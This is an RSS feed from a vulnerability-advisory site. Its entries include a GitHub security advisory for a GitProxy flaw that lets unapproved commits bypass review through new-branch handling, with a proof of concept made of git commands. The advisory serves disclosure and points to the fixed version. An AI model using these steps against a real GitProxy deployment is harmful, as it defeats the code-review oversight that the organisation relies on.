<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 04:06:08 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-248758</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-248758</link>
      <description>EUVD-2026-248758</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-248758</guid>
    </item>
    <item>
      <title>fkie_cve-2025-54585</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-54585</link>
      <description>&lt;p&gt;GitProxy is an application that stands between developers and a Git remote endpoint. In versions 1.19.1 and below, attackers can exploit the way GitProxy handles new branch creation to bypass the approval of prior commits on the parent branch. The vulnerability impacts all users or organizations relying on GitProxy to enforce policy and prevent unapproved changes. It requires no elevated privileges beyond regular push access, and no extra user interaction. It does however, require a GitProxy administrator or designated user (canUserApproveRejectPush) to approve pushes to the child branch. This is fixed in version 1.19.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;GitProxy is an application that stands between developers and a Git remote endpoint. In versions 1.19.1 and below, attackers can exploit the way GitProxy handles new branch creation to bypass the approval of prior commits on the parent branch. The vulnerability impacts all users or organizations relying on GitProxy to enforce policy and prevent unapproved changes. It requires no elevated privileges beyond regular push access, and no extra user interaction. It does however, require a GitProxy administrator or designated user (canUserApproveRejectPush) to approve pushes to the child branch. This is fixed in version 1.19.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-54585</guid>
    </item>
    <item>
      <title>GHSA-39p2-8hq9-fwj6 — GitProxy New Branch Approval Exploit</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-39p2-8hq9-fwj6</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @finos/git-proxy&lt;/p&gt;
&lt;p&gt;### Summary
An attacker can exploit the way GitProxy handles new branch creation to bypass the approval of prior commits on the parent branch.&lt;/p&gt;
&lt;p&gt;Because it can greatly affect system integrity, we classify this as a High impact vulnerability.&lt;/p&gt;
&lt;p&gt;### Details
GitProxy checks for the `0000000000000000000000000000000000000000` hash to detect new branches. This is used to process the commit accordingly in both `getDiff.ts` and `parsePush.ts`. However, the logic can be exploited as follows:&lt;/p&gt;
&lt;p&gt;1. Make a commit in branch `a` (could be `main`)
2. Make a new branch `b` from that commit
3. Make a new commit in `b`, then approve it/get it approved
4. Go back to `a`, and attempt to push this commit to the proxy&lt;/p&gt;
&lt;p&gt;The unapproved commit from `a` will be pushed to the remote.&lt;/p&gt;
&lt;p&gt;### PoC
To reproduce this vulnerability:&lt;/p&gt;
&lt;p&gt;1. Clone the target repository and make an unapproved commit on a mainline branch (e.g. main):&lt;/p&gt;
&lt;p&gt;```bash
git checkout -b a origin/main
echo &amp;#34;DEBUG=true&amp;#34; &amp;gt; config.env
git add config.env
git commit -m &amp;#34;Sensitive debug config&amp;#34;
git push proxy a
```&lt;/p&gt;
&lt;p&gt;2. Without approving/getting the commit approved on branch `a`, create a new branch `b` based on it:&lt;/p&gt;
&lt;p&gt;```bash
git checkout -b b
echo &amp;#34;feature x implemented&amp;#34; &amp;gt; feature.txt
git add feature.txt
git commit -m &amp;#34;Feature implementation&amp;#34;
git push proxy b
```&lt;/p&gt;
&lt;p&gt;3. Approve/get approval for the push to branch `b`.&lt;/p&gt;
&lt;p&gt;4. Now attempt to push the original unapproved commit from branch `a`:&lt;/p&gt;
&lt;p&gt;```bash
git checkout a
git push proxy a
```&lt;/p&gt;
&lt;p&gt;Prior to `1.19.2`, this…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @finos/git-proxy&lt;/p&gt;
&lt;p&gt;### Summary
An attacker can exploit the way GitProxy handles new branch creation to bypass the approval of prior commits on the parent branch.&lt;/p&gt;
&lt;p&gt;Because it can greatly affect system integrity, we classify this as a High impact vulnerability.&lt;/p&gt;
&lt;p&gt;### Details
GitProxy checks for the `0000000000000000000000000000000000000000` hash to detect new branches. This is used to process the commit accordingly in both `getDiff.ts` and `parsePush.ts`. However, the logic can be exploited as follows:&lt;/p&gt;
&lt;p&gt;1. Make a commit in branch `a` (could be `main`)
2. Make a new branch `b` from that commit
3. Make a new commit in `b`, then approve it/get it approved
4. Go back to `a`, and attempt to push this commit to the proxy&lt;/p&gt;
&lt;p&gt;The unapproved commit from `a` will be pushed to the remote.&lt;/p&gt;
&lt;p&gt;### PoC
To reproduce this vulnerability:&lt;/p&gt;
&lt;p&gt;1. Clone the target repository and make an unapproved commit on a mainline branch (e.g. main):&lt;/p&gt;
&lt;p&gt;```bash
git checkout -b a origin/main
echo &amp;#34;DEBUG=true&amp;#34; &amp;gt; config.env
git add config.env
git commit -m &amp;#34;Sensitive debug config&amp;#34;
git push proxy a
```&lt;/p&gt;
&lt;p&gt;2. Without approving/getting the commit approved on branch `a`, create a new branch `b` based on it:&lt;/p&gt;
&lt;p&gt;```bash
git checkout -b b
echo &amp;#34;feature x implemented&amp;#34; &amp;gt; feature.txt
git add feature.txt
git commit -m &amp;#34;Feature implementation&amp;#34;
git push proxy b
```&lt;/p&gt;
&lt;p&gt;3. Approve/get approval for the push to branch `b`.&lt;/p&gt;
&lt;p&gt;4. Now attempt to push the original unapproved commit from branch `a`:&lt;/p&gt;
&lt;p&gt;```bash
git checkout a
git push proxy a
```&lt;/p&gt;
&lt;p&gt;Prior to `1.19.2`, this…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-39p2-8hq9-fwj6</guid>
    </item>
  </channel>
</rss>
